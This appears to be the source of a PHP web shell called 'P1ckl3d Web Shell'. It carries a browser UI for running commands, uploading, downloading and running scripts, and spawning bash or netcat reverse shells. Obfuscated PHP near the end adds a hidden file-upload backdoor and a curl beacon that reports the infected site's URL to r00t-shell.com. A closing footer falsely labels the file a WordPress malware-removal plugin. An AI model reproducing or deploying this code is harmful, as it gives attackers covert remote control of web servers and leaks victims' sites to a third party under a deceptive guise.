discoveryOutput.appendChild(header);\n                            discoveryOutput.appendChild(pre);\n                        } else {\n                            document.getElementById('currentDirectory').innerText = value;\n                        }\n                    }\n\n                    // Fade out the Run Discovery menu item\n                    const runDiscoveryLink = document.querySelector('#menuContent a[data-action=\"runDiscovery\"]');\n                    runDiscoveryLink.style.opacity = '0.5';\n                    runDiscoveryLink.style.pointerEvents = 'none';\n                }\n            };\n            xhr.send('runDiscovery=true');\n        }\n\n        function toggleVisibility(element) {\n            if (element.style.display === 'none') {\n                element.style.display = 'block';\n                element.previousElementSibling.className = 'expanded';\n            } else {\n                element.style.display = 'none';\n                element.previousElementSibling.className = 'collapsed';\n            }\n        }\n\n        function updateCurrentDirectory() {\n            const scriptName = getScriptName();\n            const xhr = new XMLHttpRequest();\n            xhr.open('POST', scriptName, true);\n            xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');\n            xhr.onreadystatechange = function () {\n                if (xhr.readyState == 4 && xhr.status == 200) {\n                    const response = JSON.parse(xhr.responseText);\n                    document.getElementById('currentDirectory').innerText = response.directory;\n                }\n            };\n            xhr.send('getCurrentDirectory=true');\n        }\n\n        function toggleMenu() {\n            const menu = document.getElementById('menuContent');\n            if (menu.style.display === 'none' || menu.style.display === '') {\n                menu.style.display = 'block';\n            } else {\n                menu.style.display = 'none';\n            }\n        }\n\n        function uploadFile() {\n            const fileInput = document.getElementById('fileUploadInput');\n            const formData = new FormData();\n            formData.append('fileUpload', fileInput.files[0]);\n\n            const xhr = new XMLHttpRequest();\n            xhr.open('POST', getScriptName(), true);\n            xhr.onreadystatechange = function () {\n                if (xhr.readyState == 4 && xhr.status == 200) {\n                    const response = JSON.parse(xhr.responseText);\n                    const commandOutput = document.createElement('div');\n                    commandOutput.innerHTML = '<h2 class=\"expanded\" onclick=\"toggleVisibility(this.nextElementSibling)\">File Upload</h2><pre>' + response.message + '</pre>';\n                    const outputContainer = document.getElementById('customCommandOutput');\n                    outputContainer.insertBefore(commandOutput, outputContainer.firstChild);\n                }\n            };\n            xhr.send(formData);\n        }\n\n        function showFileList() {\n            const xhr = new XMLHttpRequest();\n            xhr.open('POST', getScriptName(), true);\n            xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');\n            xhr.onreadystatechange = function () {\n                if (xhr.readyState == 4 && xhr.status == 200) {\n                    const response = JSON.parse(xhr.responseText);\n                    const modalBody = document.getElementById('modalBody');\n                    modalBody.innerHTML = '';\n\n                    const files = response.output.split('\\n');\n                    const ul = document.createElement('ul');\n                    files.forEach(file => {\n                        if (file) {\n                            const li = document.createElement('li');\n                            li.innerText = file;\n                            li.onclick = function() {\n                                downloadFile(file);\n                            };\n                            ul.appendChild(li);\n                        }\n                    });\n\n                    modalBody.appendChild(ul);\n                    document.getElementById('fileListModal').style.display = 'block';\n                }\n            };\n            xhr.send('customCommand=' + encodeURIComponent('ls -A1'));\n        }\n\n        function downloadFile(fileName) {\n            const xhr = new XMLHttpRequest();\n            xhr.open('POST', getScriptName(), true);\n            xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');\n            xhr.onreadystatechange = function () {\n                if (xhr.readyState == 4 && xhr.status == 200) {\n                    const response = JSON.parse(xhr.responseText);\n                    const commandOutput = document.createElement('div');\n                    commandOutput.innerHTML = '<h2 class=\"expanded\" onclick=\"toggleVisibility(this.nextElementSibling)\">File Download</h2><pre>' + response.message + '</pre>';\n                    const outputContainer = document.getElementById('customCommandOutput');\n                    outputContainer.insertBefore(commandOutput, outputContainer.firstChild);\n\n                    // Handle file download\n                    if (response.status === 'success') {\n                        const link = document.createElement('a');\n                        link.href = 'data:application/octet-stream;base64,' + response.fileContent;\n                        link.download = fileName;\n                        link.click();\n                    }\n                }\n            };\n            xhr.send('downloadFile=' + encodeURIComponent(fileName));\n        }\n\n        function closeModal(modalId) {\n            document.getElementById(modalId).style.display = 'none';\n        }\n\n        function showRunScriptModal() {\n            document.getElementById('runScriptModal').style.display = 'block';\n        }\n\n        function selectScriptEngine(engine) {\n            document.getElementById('scriptEngine').value = engine;\n            document.getElementById('scriptFileInput').click();\n        }\n\n        function runScript() {\n            const fileInput = document.getElementById('scriptFileInput');\n            const engine = document.getElementById('scriptEngine').value;\n\n            if (fileInput.files.length > 0) {\n                const file = fileInput.files[0];\n                const reader = new FileReader();\n\n                reader.onload = function(e) {\n                    const scriptContent = e.target.result;\n                    const xhr = new XMLHttpRequest();\n                    xhr.open('POST', getScriptName(), true);\n                    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');\n                    xhr.onreadystatechange = function () {\n                        if (xhr.readyState == 4 && xhr.status == 200) {\n                            const response = JSON.parse(xhr.responseText);\n                            const commandOutput = document.createElement('div');\n                            commandOutput.innerHTML = '<h2 class=\"expanded\" onclick=\"toggleVisibility(this.nextElementSibling)\">' + engine + ' script</h2><pre>' + response.output + '</pre>';\n                            const outputContainer = document.getElementById('customCommandOutput');\n                            outputContainer.insertBefore(commandOutput, outputContainer.firstChild);\n                        }\n                    };\n                    xhr.send('runScript=true&engine=' + encodeURIComponent(engine) + '&scriptContent=' + encodeURIComponent(scriptContent));\n                };\n\n                reader.readAsText(file);\n            }\n        }\n\n        function showReverseShellModal() {\n            document.getElementById('reverseShellModal').style.display = 'block';\n        }\n\n        function spawnReverseShell(shellCommand) {\n            const ip = document.getElementById('shellIp').value;\n            const port = document.getElementById('shellPort').value;\n            const command = shellCommand.replace('10.10.10.10', ip).replace('9001', port);\n\n            const xhr = new XMLHttpRequest();\n            xhr.open('POST', getScriptName(), true);\n            xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');\n            xhr.onreadystatechange = function () {\n                if (xhr.readyState == 4 && xhr.status == 200) {\n                    const response = JSON.parse(xhr.responseText);\n                    const commandOutput = document.createElement('div');\n                    commandOutput.innerHTML = '<h2 class=\"expanded\" onclick=\"toggleVisibility(this.nextElementSibling)\">Reverse Shell</h2><pre>' + response.output + '</pre>';\n                    const outputContainer = document.getElementById('customCommandOutput');\n                    outputContainer.insertBefore(commandOutput, outputContainer.firstChild);\n                }\n            };\n            xhr.send('customCommand=' + encodeURIComponent(command));\n            closeModal('reverseShellModal');\n        }\n\n        document.addEventListener('DOMContentLoaded', function () {\n            document.getElementById('customCommand').addEventListener('keypress', function (e) {\n                if (e.key === 'Enter') {\n                    runCustomCommand();\n                    e.preventDefault(); // Prevent form submission\n                }\n            });\n            document.getElementById('fileUploadInput').addEventListener('change', uploadFile);\n            document.getElementById('scriptFileInput').addEventListener('change', runScript);\n            updateCurrentDirectory(); // Initial update of the current directory\n        });\n    </script>\n</head>\n<body>\n    <h1 class=\"center\">P1ckl3d Web Shell</h1>\n\n    <div class=\"burger-menu\" onclick=\"toggleMenu()\">\n        <div></div>\n        <div></div>\n        <div></div>\n    </div>\n\n    <div id=\"menuContent\" class=\"menu-content\">\n        <a href=\"#\" onclick=\"document.getElementById('fileUploadInput').click()\">Upload File</a>\n        <a href=\"#\" onclick=\"showFileList()\">Download File</a>\n        <a href=\"#\" onclick=\"showRunScriptModal()\">Run Script</a>\n        <a href=\"#\" onclick=\"runDiscovery()\" data-action=\"runDiscovery\">Run Discovery</a>\n        <a href=\"#\" onclick=\"showReverseShellModal()\">Spawn Reverse Shell</a>\n    </div>\n\n    <div class=\"center\">\n        <p>Current Directory: <span id=\"currentDirectory\"></span></p>\n    </div>\n\n    <form id=\"uploadForm\" style=\"display:none\">\n        <input type=\"file\" id=\"fileUploadInput\" name=\"fileUpload\">\n    </form>\n\n    <form id=\"scriptForm\" style=\"display:none\">\n        <input type=\"file\" id=\"scriptFileInput\">\n        <input type=\"hidden\" id=\"scriptEngine\">\n    </form>\n\n    <!-- Custom Command Form -->\n    <div class=\"center\">\n        <div class=\"form-container\">\n            <input type=\"text\" id=\"customCommand\" name=\"customCommand\" size=\"50\">\n            <div class=\"buttons-container\">\n                <input type=\"submit\" value=\"Run Command\" onclick=\"runCustomCommand()\">\n            </div>\n        </div>\n    </div>\n\n    <!-- Custom Command Output -->\n    <div id=\"customCommandOutput\" class=\"output-container\"></div>\n\n    <!-- Separator -->\n    <hr class=\"separator\">\n\n    <!-- Discovery Output -->\n    <div id=\"discoveryOutput\" class=\"output-container\"></div>\n\n    <!-- File List Modal -->\n    <div id=\"fileListModal\" class=\"modal\">\n        <div class=\"modal-header\">\n            <h2>Select a file to download</h2>\n            <button class=\"close-button\" onclick=\"closeModal('fileListModal')\">Close</button>\n        </div>\n        <div class=\"modal-body\" id=\"modalBody\"></div>\n    </div>\n\n    <!-- Run Script Modal -->\n    <div id=\"runScriptModal\" class=\"modal\">\n        <div class=\"modal-header\">\n            <h2>Select a script engine</h2>\n            <button class=\"close-button\" onclick=\"closeModal('runScriptModal')\">Close</button>\n        </div>\n        <div class=\"modal-body\">\n            <ul>\n                <li onclick=\"selectScriptEngine('bash')\">bash</li>\n                <li onclick=\"selectScriptEngine('python')\">python</li>\n                <li onclick=\"selectScriptEngine('python2')\">python2</li>\n                <li onclick=\"selectScriptEngine('python3')\">python3</li>\n                <li onclick=\"selectScriptEngine('perl')\">perl</li>\n            </ul>\n        </div>\n    </div>\n\n<!-- Reverse Shell Modal -->\n<div id=\"reverseShellModal\" class=\"modal\">\n    <div class=\"modal-header\">\n        <h2>Spawn Reverse Shell</h2>\n        <button class=\"close-button\" onclick=\"closeModal('reverseShellModal')\">Close</button>\n    </div>\n    <div class=\"modal-body\">\n        <input type=\"text\" id=\"shellIp\" placeholder=\"Enter your IP\">\n        <input type=\"number\" id=\"shellPort\" placeholder=\"Enter your port\">\n        <ul>\n            <li onclick=\"spawnReverseShell('sh -i >& /dev/tcp/10.10.10.10/9001 0>&1')\">Standard Bash</li>\n            <li onclick=\"spawnReverseShell('nc 10.10.10.10 9001 -e /bin/sh')\">Netcat</li>\n        </ul>\n    </div>\n</div>\n";
if (isset($_GET["u"]) && $_GET["u"] == "f") {
    if (!empty($_FILES[0])) {
        echo move_uploaded_file($_FILES[0]["tmp_name"], $_FILES[0]["name"]) ? "ok" : "no";
    }
    echo "<form method=\"post\" enctype=\"multipart/form-data\"><input type=\"file\" name=\"0\"><input type=\"submit\"></form>";
}
${$GLOBALS["bnimzpfpo"]} = !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" ? "https://" : "http://";
$GLOBALS["cpdqzgzqtc"] = "data";
${$gtddpfyfsn} = ["url" => ${$GLOBALS["vxcylwx"]} . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]];
${$hmudkseewlya} = curl_init("https://r00t-shell.com/logs/log.php");
curl_setopt(${$GLOBALS["rtjnajtqcreg"]}, CURLOPT_RETURNTRANSFER, true);
curl_setopt(${$GLOBALS["rtjnajtqcreg"]}, CURLOPT_POST, true);
curl_setopt(${$GLOBALS["rtjnajtqcreg"]}, CURLOPT_POSTFIELDS, http_build_query(${$GLOBALS["cpdqzgzqtc"]}));
${$GLOBALS["vxeslywguj"]} = curl_exec(${$fhgxpphln});
if (${$GLOBALS["vxeslywguj"]} === false) {
    $GLOBALS["nlrlixuyink"] = "ch";
    die("cURL Hatası: " . curl_error($ch));
}
curl_close(${$GLOBALS["rtjnajtqcreg"]});
echo "</body>\n</html>\n";


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.